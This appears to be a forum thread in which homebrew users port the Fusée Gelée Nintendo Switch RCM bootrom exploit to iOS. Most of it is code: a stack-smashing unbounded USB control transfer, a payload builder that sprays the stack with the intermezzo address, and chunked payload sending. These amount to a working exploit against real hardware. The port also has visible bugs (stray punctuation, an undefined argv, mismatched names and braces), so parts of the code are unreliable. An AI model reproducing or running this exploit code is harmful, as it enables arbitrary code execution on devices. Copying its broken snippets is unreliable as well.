EDIT: Well you posted while I was writing this, looks like you got even further... Maybe some of what I gathered from my exploration of the payload injector, can help you finish off the smashing the stack part!
I think I see what it could possibly be... You see how you're smashing the stack with just the length? Here it uses the length plus the size of the control request...
Code:
int buf_size = sizeof(struct usb_ctrlrequest) + length;
As I said in my post I'm not sure if it actually needs the control request in there, or just the length including the size of the control request... It may be just that few bytes more to reach the proper place!
Code:
if (length < 0)
length = (STACK_END - getCurrentBufferAddress()) + sizeof(usb_ctrlrequest);
the size of a usb_ctrlrequest is 8+8+16+16+16+32+ the size of a pointer (8 bytes I think, is that for the switch though or the iDevice)
Code:
struct usbdevfs_ctrltransfer {
__u8 bRequestType;
__u8 bRequest;
__u16 wValue;
__u16 wIndex;
__u16 wLength;
__u32 timeout; /* in milliseconds */
void __user *data;
};
If that doesn't work then maybe try including that at the start of your threadbuf, before the length of empty/random bytes. Could it be that the switch is looking for that ctrl request data at the start, even though the usb_ctrl_message that you're doing seems to replicate it? It's just some uint8's uint16's and a uint32 and a pointer, couldn't hurt to fill it out and prepend it to the threadbuf array of bytes and see if that might be it.
Basically it's time to learn how Fusee Gelee works now and just write that payload to the device. Maybe someone else might be able to help out. So yeah, we have made progress on iOS. We have full communication from the phone to the switch. That code is here:
https://github.com/Brandon-T/iOUSB/blob/master/iOUSB/USB.m For anyone interested.
Edit: Added a "WriteUSB" function that can write an array of bytes to the switch.
Really great that you made it this far! So it was a power related issue with it disconnecting every 3 seconds. I wasn't aware of that same thing happening with android, plus I thought that it doesn't charge in rcm mode (not in the normal way anyway, some call it a trickle charge)?
In any case having it working is the important thing, the details of working around that without needing extra power can be worked out later if possible to work around that, but as of now it's going to be little less convenient to use the iOS version than others. (Well it already was going to be anyway with users of it having to cydia impact their own certificate into it on it's way to their device).
Did you test the WriteUSB function and does it actually work? It looks like it would as far as opening the device and being able to write to it, but the reason I ask is because your WriteUSB function takes an array of strings but I don't see it using them to write them anywhere. Oh okay no I see you pass that in to receive the 'Pipe Status' messages. You haven't made it take a parameter of what to write yet. But the commented out code that should do the writing is here:
Code:
// char data[0] = {};
// (*usbInterface)->WritePipe(usbInterface, pipe_ref, data, sizeof(data));
//Testing..
That should indeed be where we write the payload. But I've been looking at this minimal payload injector code by DavidBuchanan314 (which helps alot since it's a minimal example of the injector part, well except for understanding the how the fusee.bin payload itself works) and trying to see what more we need to do to put that functionality into this. I can almost see the code fused together already, there's only some slight differences in the function calls and such but the basic understanding of what needs to be done is the same.
Okay there you're starting to write to it already, but I'm not sure if you've claimed the interface yet. The get_device function of usb.c (in the payload injector I mentioned above) it looks like we already have the equivalent of.
It's simple enough:
Code:
int claim_interface(int fd, int ifnum)
{
return ioctl(fd, USBDEVFS_CLAIMINTERFACE, &ifnum);
}
And look what you have for us at the bottom:
Code:
static int send_ctrl_msg(IOUSBDeviceInterface** dev, const UInt8 request, const UInt16 value, const UInt16 length)
{
IOUSBDevRequest req;
req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
req.bRequest = request;
req.wValue = value;
req.wIndex = 0;
req.wLength = length;
req.pData = 0;
req.wLenDone = 0;
IOReturn rc = (*dev)->DeviceRequest(dev, &req);
if(rc != kIOReturnSuccess)
{
return -1;
}
return req.wLenDone;
}
It looks similar to the final thing that needs to be called: (See the req.bmRequestType, seems to be equivalent to the ctrl_req->bRequestType here, and kUSBIn looks the same as USB_DIR_IN)
Found from here:
https://github.com/torvalds/linux/blob/master/include/uapi/linux/usb/ch9.h
#define USB_REQ_GET_STATUS 0x00
the get status one is just 0, so passing 0 as the Uint8 request parameter or we can define that at the top too.
#define USB_DIR_IN 0x80 /* to host */
#define USB_RECIP_ENDPOINT 0x02
So USB_DIR IN | USB_RECIP_ENDPOINT is equal to 0x82
USBmakebmRequestType should make that value hopefully or we'll just need to manually put it, maybe there's a kUSBrecipEndpoint that can be put along with that makebm macro (or helper function)
Code:
int ctrl_transfer_unbounded(int fd, int length)
{
int buf_size = sizeof(struct usb_ctrlrequest) + length;
char *buffer = calloc(1, buf_size);
struct usbdevfs_urb *purb;
struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
ctrl_req->bRequest = USB_REQ_GET_STATUS;
ctrl_req->wLength = length;
struct usbdevfs_urb urb = {
.type = USBDEVFS_URB_TYPE_CONTROL,
.endpoint = 0,
.buffer = buffer,
.buffer_length = buf_size,
.usercontext = (void *) 0x1337,
};
usleep(1000*10);
if (ioctl(fd, USBDEVFS_SUBMITURB, &urb) < 0)
return -1;
if (ioctl(fd, USBDEVFS_DISCARDURB, &urb) < 0)
return -2;
if (ioctl(fd, USBDEVFS_REAPURB, &purb) < 0)
return -3;
if (purb->usercontext != (void *) 0x1337)
return -4;
free(buffer); // XXX buffer does not get freed under error conditions
return 0;
}
the urb structure used is here: (iso_packet_desc is a part of it so we need that too, I'm not sure if we need it though)
found here:
https://github.com/torvalds/linux/blob/master/include/uapi/linux/usbdevice_fs.h
Code:
struct usbdevfs_iso_packet_desc {
unsigned int length;
unsigned int actual_length;
unsigned int status;
};
struct usbdevfs_urb {
unsigned char type;
unsigned char endpoint;
int status;
unsigned int flags;
void __user *buffer;
int buffer_length;
int actual_length;
int start_frame;
union {
int number_of_packets; /* Only used for isoc urbs */
unsigned int stream_id; /* Only used with bulk streams *
};
int error_count;
unsigned int signr; /* signal to be sent on completion, or 0 if none should be sent. */
void __user *usercontext;
struct usbdevfs_iso_packet_desc iso_frame_desc[0];
};
And let's hope the control transfer is also unbounded here too (which I think it is
)
#define USBDEVFS_URB_TYPE_CONTROL 2
found here:
https://github.com/fail0verflow/shofel2/blob/master/exploit/shofel2.py
So given that info, I think our equivalent of the control_transfer_unbounded might be:
Code:
struct usbdevfs_ctrltransfer {
UInt8 bRequestType;
UInt8 bRequest;
UInt16 wValue;
UInt16 wIndex;
UInt16 wLength;
UInt32 timeout; /* in milliseconds */
void *data;
};
static int control_transfer_unbounded(IOUSBDeviceInterface** dev, UInt16 length)
{
int buf_size = sizeof(struct usb_ctrlrequest) + length;
char *buffer = calloc(1, buf_size);
struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
ctrl_req->bRequest = USB_REQ_GET_STATUS;
ctrl_req->wLength = length;
IOUSBDevRequest req;
req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
req.bRequest = USB_REQ_GET_STATUS;
req.wValue = 0;
req.wIndex = 0;
req.wLength = buf_size;
req.pData = buffer
req.wLenDone = 0;
IOReturn rc = (*dev)->DeviceRequest(dev, &req);
if(rc != kIOReturnSuccess)
{
return -1;.
}
//SMASHED THE STACK!?
return req.wLenDone;
}
Anyway that's the final step... I believe the payload is already written at that point and this is just 'smashing the stack' / triggering the exploit to run. (because a buffer is allocated, but there's nothing copied after the control request, so it appears to be just the length of null or any data bytes + the control request size. It's unclear if we need to send the control request as part of it though since the IOUSBDevRequest seems to duplicate that. Well it seems it couldn't hurt to have it + the length anyway.
I found this page: https://stackoverflow.com/questions/41038150/usb-device-send-receive-data
Which seems to indicate that we might need a deviceaddress of your plugged in switch put into the wValue variable, the C code has that somewhere else or it's maybe not needed.
Alright let's follow the steps of the exploit.c (where the magic really happens) and see what we need to do:
Beginning:
[code]
/* Nintendo Switch RCM Mode VID/PID */
#define APX_VID 0x0955
#define APX_PID 0x7321
#define TIMEOUT 1000 // milliseconds
#define MAX_LENGTH 0x30298 // length of the exploit packet
#define RCM_PAYLOAD_ADDR 0x40010000
#define INTERMEZZO_LOCATION 0x4001F000
#define PAYLOAD_LOAD_BLOCK 0x40020000
#define SEND_CHUNK_SIZE 0x1000
Ok looks like we already have the APX_VID and APX_PID just named differently but lets keep our naming convention here:
Code:
#define kNintendoSwitchProductID 0x7321
#define kNintendoSwitchVendorID 0x0955
So we're in good shape so far, I added the others below it.
Alright now first things first we're going to need some location to store the fusee.bin and intermezzo.bin so we can load them for injection. I'm just going to write it like I can access it from where we are, it's going to be up to you to put them in the right place so the program can actually read them. (if that means that like on android a good place to keep files is usually inside your app's storage directory, probably something like that)
Now this is a rough integration I came up with, but hopefully is enough to push you forward into seeing it through! You got the communication channel up, how could you not have tried to send a payload!!?
Code:
#define kNintendoSwitchProductID 0x7321
#define kNintendoSwitchVendorID 0x0955
#define USB_REQ_GET_STATUS 0x00
#define USB_DIR_IN 0x80 /* to host */
#define USB_RECIP_ENDPOINT 0x02
#define TIMEOUT 1000 // milliseconds
#define MAX_LENGTH 0x30298 // length of the exploit packet
#define RCM_PAYLOAD_ADDR 0x40010000
#define INTERMEZZO_LOCATION 0x4001F000
#define PAYLOAD_LOAD_BLOCK 0x40020000
#define SEND_CHUNK_SIZE 0x1000
#define INTERMEZZO_PATH "intermezzo.bin"
#define PAYLOAD_PATH "fusee.bin"
struct usb_ctrlrequest {
UInt8 bRequestType;
UInt8 bRequest;
UInt16 wValue;
UInt16 wIndex;
UInt16 wLength;
UInt32 timeout; /* in milliseconds */
void *data;
};
static int control_transfer_unbounded(IOUSBDeviceInterface** dev, UInt16 length)
{
int buf_size = sizeof(struct usb_ctrlrequest) + length;
char *buffer = calloc(1, buf_size);
struct usb_ctrlrequest *ctrl_req = (struct usb_ctrlrequest *) buffer;
ctrl_req->bRequestType = USB_DIR_IN | USB_RECIP_ENDPOINT;
ctrl_req->bRequest = USB_REQ_GET_STATUS;
ctrl_req->wLength = length;
IOUSBDevRequest req;
req.bmRequestType = USBmakebmRequestType(kUSBIn, kUSBVendor, kUSBDevice);
req.bRequest = USB_REQ_GET_STATUS;
req.wValue = 0;
req.wIndex = 0;
req.wLength = buf_size;
req.pData = buffer;
req.wLenDone = 0;
IOReturn rc = (*dev)->DeviceRequest(dev, &req);
if(rc != kIOReturnSuccess)
{
return -1;.
}
//SMASHED THE STACK!?
return req.wLenDone;
}
int buildAndRunPayload(IOUSBDeviceInterface** dev, IOUSBInterfaceInterface** interface)
{
FILE *intermezzo_file;
FILE *payload_file;
char payload_buf[MAX_LENGTH]; // XXX: don't use more memory than we need, ~200k is a lot
int payload_idx = 0;
int payload_len;
/* Begin payload construction */
// TODO: construct the payload on-the-fly as it is sent, saving memory
memset(payload_buf, 0, sizeof(payload_buf));
*(uint32_t *)payload_buf = MAX_LENGTH;
payload_idx = 680; // skip over the header
/* fill the stack with the intermezzo address */
for (int i=RCM_PAYLOAD_ADDR; i<INTERMEZZO_LOCATION; i += 4, payload_idx += 4)
*(uint32_t *)&payload_buf[payload_idx] = INTERMEZZO_LOCATION;
/* load intermezzo.bin */
if ((intermezzo_file = fopen(INTERMEZZO_PATH, "r")) == NULL) {
printf("[-] Failed to open " INTERMEZZO_PATH);
return -1;
}
int intermezzo_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, intermezzo_file);
fclose(intermezzo_file);
printf("[*] Read %d bytes from "INTERMEZZO_PATH"\n", intermezzo_len);
/* pad until payload */
payload_idx += PAYLOAD_LOAD_BLOCK - INTERMEZZO_LOCATION;
/* load the actual payload */
if ((payload_file = fopen(argv[1], "r")) == NULL) {
printf("[-] Failed to open payload file");
return -1;
}
int file_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, payload_file);
payload_idx += file_len;
fclose(payload_file);
printf("[*] Read %d bytes of payload\n", file_len);
if (payload_idx == MAX_LENGTH)
printf("[*] Warning: payload may have been truncated. Continuing.");
/* Send the payload */
payload_len = payload_idx;
int low_buffer = 1;
UInt8 pipe_ref = 1;
for (payload_idx = 0; payload_idx < payload_len || low_buffer; payload_idx += SEND_CHUNK_SIZE, low_buffer ^= 1) {
if((*interface)->WritePipe(usbInterface, pipe_ref, &payload_buf[payload_idx], SEND_CHUNK_SIZE) != kIOReturnSuccess)
//if (ep_write(usb_fd, 1, &payload_buf[payload_idx], SEND_CHUNK_SIZE, TIMEOUT) != SEND_CHUNK_SIZE) {
printf("[-] Sending payload failed");
return -1;
}
}
printf("[+] Sent 0x%x bytes\n", payload_idx);
/* Smash the stack! */
printf("[+] Smashed the stack: %d\n", ctrl_transfer_unbounded(dev, 0x7000));
}
// Test writing to the Nintendo Switch's USB..
void WriteToUSB(struct USBNotification *notificationInfo, io_service_t usbDevice, NSMutableArray* strings)
{
//Function to retrieve a USBDevice interface..
IOUSBDeviceInterface300** (^getDeviceInterface)(io_service_t) = ^IOUSBDeviceInterface300**(io_service_t device) {
return (IOUSBDeviceInterface300 **)getInterface(device, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID300);
};
//Function to retrieve a USBInterface interface..
IOUSBInterfaceInterface300** (^getUSBInterface)(io_service_t) = ^IOUSBInterfaceInterface300**(io_service_t device) {
return (IOUSBInterfaceInterface300 **)getInterface(device, kIOUSBInterfaceUserClientTypeID, kIOUSBInterfaceInterfaceID300);
};
// Open the USB device for communication.
IOUSBDeviceInterface300 **deviceInterface = getDeviceInterface(usbDevice);
if (deviceInterface)
{
if ((*deviceInterface)->USBDeviceOpen(deviceInterface) == kIOReturnSuccess)
{
//Get the configuration..
IOUSBConfigurationDescriptorPtr config;
kern_return_t kr = (*deviceInterface)->GetConfigurationDescriptorPtr(deviceInterface, 0, &config);
if (kr == kIOReturnSuccess)
{
(*deviceInterface)->SetConfiguration(deviceInterface, config->bConfigurationValue);
//Find the USB interface..
IOUSBFindInterfaceRequest interfaceRequest;
interfaceRequest.bInterfaceClass = kIOUSBFindInterfaceDontCare;
interfaceRequest.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
interfaceRequest.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
interfaceRequest.bAlternateSetting = kIOUSBFindInterfaceDontCare;
//Get an interface iterator..
io_iterator_t iterator;
kr = (*deviceInterface)->CreateInterfaceIterator(deviceInterface, &interfaceRequest, &iterator);
if (kr == kIOReturnSuccess)
{
if ((usbDevice = IOIteratorNext(iterator)))
{
IOUSBInterfaceInterface300 **usbInterface = getUSBInterface(usbDevice);
if (usbInterface)
{
kr = (*usbInterface)->USBInterfaceOpen(usbInterface);
if (kr == kIOReturnSuccess) {
UInt8 pipe_ref = 1;
kr = (*usbInterface)->GetPipeStatus(usbInterface, pipe_ref);
switch (kr) {
case kIOReturnNoDevice:
[strings addObject:@"Pipe Status: No Device"];
break;
case kIOReturnNotOpen:
[strings addObject:@"Pipe Status: Not Open"];
break;
case kIOReturnSuccess:
[strings addObject:@"Pipe Status: Open"];
break;
case kIOReturnBusy:
[strings addObject:@"Pipe Status: Busy"];
break;
default:
[strings addObject:@"Pipe Status: We screwed up"];
break;
}
buildAndRunPayload(deviceInterface, usbInterface);
}
(*usbInterface)->Release(usbInterface);
}
IOObjectRelease(usbDevice);
}
IOObjectRelease(iterator);
}
}
(*deviceInterface)->USBDeviceClose(deviceInterface);
}
(*deviceInterface)->Release(deviceInterface);
}
}
What do you think? We're getting there aren't we!